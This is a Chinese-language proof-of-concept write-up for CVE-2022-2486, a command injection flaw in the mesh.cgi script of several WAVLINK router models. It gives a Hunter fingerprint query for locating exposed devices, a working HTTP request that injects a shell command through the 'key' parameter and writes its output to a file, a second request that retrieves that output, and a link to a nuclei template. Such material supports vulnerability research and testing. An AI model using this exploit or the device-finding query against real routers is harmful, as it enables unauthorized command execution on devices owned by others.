POC/wpoc/Wavlink/WAVLINKmesh.cgi命令执行漏洞（CVE-2022-2486）.md

# WAVLINK mesh.cgi命令执行漏洞（CVE-2022-2486）

# 一、漏洞简介
WAVLINK是中国睿因科技（WAVLINK）公司开发的一款路由器，该系统mesh.cgi文件存在命令执行漏洞，攻击者可通过该漏洞获取服务器权限。包含型号WN530HG4、WN531G3、WN572HG3、WN535G3、WN575A4等。

# 二、影响版本
+ wavlink 路由器

# 三、资产测绘
+ hunter`web.body="firstFlage"`
+ 特征

![1703226837131-abc67852-1626-482a-982b-2f8f69837f2c.png](./img/2z5YOmq5xdN4GgtQ/1703226837131-abc67852-1626-482a-982b-2f8f69837f2c-764354.png)

# 四、漏洞复现
```java
GET /cgi-bin/mesh.cgi?page=upgrade&key=';ls>./1.txt;' HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

![1703227123408-ad76b97b-fbb5-48b3-a932-877f8d037798.png](./img/2z5YOmq5xdN4GgtQ/1703227123408-ad76b97b-fbb5-48b3-a932-877f8d037798-976428.png)

获取命令执行结果

```java
GET /cgi-bin/1.txt HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

![1703227153612-9f8d4f5b-341e-4c8a-bfed-f618c459f555.png](./img/2z5YOmq5xdN4GgtQ/1703227153612-9f8d4f5b-341e-4c8a-bfed-f618c459f555-527638.png)

nuclei脚本

[wanlink-router-mesh-cgi-rce.yaml](https://www.yuque.com/attachments/yuque/0/2024/yaml/1622799/1709222231422-206fa714-944a-44f8-b5df-ab0069039061.yaml)



> 更新: 2024-02-29 23:57:11  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/wnwb9zre4ushwzb8>